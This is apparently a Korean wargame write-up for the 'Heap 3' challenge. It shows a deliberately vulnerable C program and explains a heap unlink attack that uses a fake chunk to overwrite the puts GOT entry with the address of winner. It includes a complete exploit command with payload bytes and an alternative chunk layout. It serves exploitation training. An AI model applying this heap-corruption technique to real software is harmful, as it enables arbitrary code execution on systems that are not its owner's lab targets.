Heap 3번 본문
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
DFB의 취약점을 이용한다.
free가 된 영역들은 자기들끼리 double link로 연결되어 있다. 하지만
힙영역이 병합을 시도할 때는 이 double link를 끊어야 한다.
이걸 unlink라고 한다. 여기서의 취약점을 이용하도록 한다.
값들을 집어 넣었다. 힙 영역 a, b, c에 값들이 들어간 상태이다.
free(c)를 진행했다.
free(b)를 진행했다.
fd자리에 c영역의 주소값이 들어가 있다.
free(a)를 진행했다.
역시나 fd에 b영역의 주소가 들어가 있다.
free(c)를 진행할때 가짜 정크와 병합하게 만들 것이다.
0xffffffc를 헤더에 넣었다.
0xffffffc는 -4이다.
가짜 정크에 fd와 bk를 집어넣었다.. 여기서 중요한 거는fd값에 들어갈 주소는 –c를 해준다.
왜냐하면 12바이트 떨어진 bk값을 수정해야 하기 때문이다.
fd는 puts got주소이고 bk는 winner 쉘 주소이다.
run $(python -c "print 'A'*8+'\xB8\x64\x88\x04\x08\xFF\xD0' ") $(python -c "print 'B'*36+'\x65' ") $(python -c "print 'B'*92+'\xfc\xff\xff\xff' * 2 +'\x1C\xB1\x04\x08' + '\x10\xC0\x04\x08' ")
다른 풀이는
b 청크에
0xffffffc*2 + dummy(4) + (puts got-12) + (winner shell-8)
로 채워서 공격이 가능하다.
free(c)는 아무 일 없이 지나가고
free(b)가 진행될 때
이전 정크 위치 = 현재 위치 - prev_size(-4)
연산을 진행한 후 병합을 하면
fd+12 = bk, bk + 8 = fd를 수행하면서 취약점이 발생하는 거다.
Comments